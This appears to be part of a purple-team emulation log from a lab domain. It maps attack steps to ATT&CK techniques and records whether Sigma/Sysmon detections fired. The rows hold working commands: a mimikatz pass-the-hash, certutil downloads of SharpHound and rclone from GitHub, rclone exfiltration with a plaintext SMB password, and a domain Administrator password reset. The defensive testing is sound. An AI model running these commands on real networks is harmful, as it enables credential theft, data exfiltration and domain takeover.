Part 2

Step	Action	ATT&CK Techniques	Blue Verification
2.1	`[ITSERVER:mimikatz] sekurlsa::pth /user:billh /ntlm:<NTLM-hash> /domain:attackrange /run:powershell`	T1550.002	file_event_win_hktl_mimikatz_files.yml sysmon_mimikatz_detection_lsass.yml win_alert_mimikatz_keywords.yml In place but don't trigger 1: that's not what we emulated 2: could trigger, index=win lsass AND (0x1410 OR 0x1010 OR 0x410) shows no data 3: could trigger but did not, index=win sekurlsa shows no data, may need to adjust logging/auditing or due to running the cmd in the mimikatz prompt
2.2	`certutil -urlcache -f https://github.com/MihhailSokolov/SecTools/raw/main/SharpHound.exe C:\Temp\sh.exe`	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts

2.3	C:\temp\sh.exe --memcache --zipfilename c.zip --outputdirectory C:\temp\	T1087.001, T1087.002, T1560, T1059.001, T1482, T1615, T1106, T1201, T1069.001, T1069.002, T1018, T1033	Proc_creation_win_hktl_bloodhound_sharphound.yml Detects T1059.001, T1069.001, T1069.002, T1482, T1087.002, T1087.001 Techniques not detected according to detection specification T1560, T1615, T1106, T1201, T1069.002, T1033, T1018
2.4	certutil -urlcache -f https://github.com/MihhailSokolov/SecTools/raw/main/rclone.exe C:\Temp\r.exe	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts

2.5	[ss]
	type = smb
	host = 10.0.1.30
	user = user
	pass = KN_sSidIRaFo_cmcZ_YNa5o8SLfyli8
		?	No detection

2.6	C:\Temp\r.exe --config C:\Temp\r.conf copy C:\Temp\<c.zip-filename> ss:data --no-check-dest	T1048	proc_creation_win_pua_rclone_execution.yml Detects but as T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage

2.7	certutil -urlcache -f https://github.com/MihhailSokolov/SecTools/raw/main/PowerShellActiveDirectory.dll C:\Temp\a.dll Import-Module C:\Temp\a.dll	T1105	Proc_creation_win_certutil_download.yml Detects it but ATT&CK technique is T1027: Obfuscated Files or Information Net_connection_win_certutil_initiated_connection.yml Detects it Sysmon produces multiple events for a single download and that triggers multiple alerts
2.8	Add-ADGroupMember -Identity "ITSupport" -Members "billh"	T1098.007	No detection Win_security_user_added_to_local_administrators.yml only detects adding to a local (not domain) group
2.9	Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString 'DomainPwned!' -AsPlainText -Force) -Reset	T1098	Win_ad_domain_admin_pw_reset.yml Detects it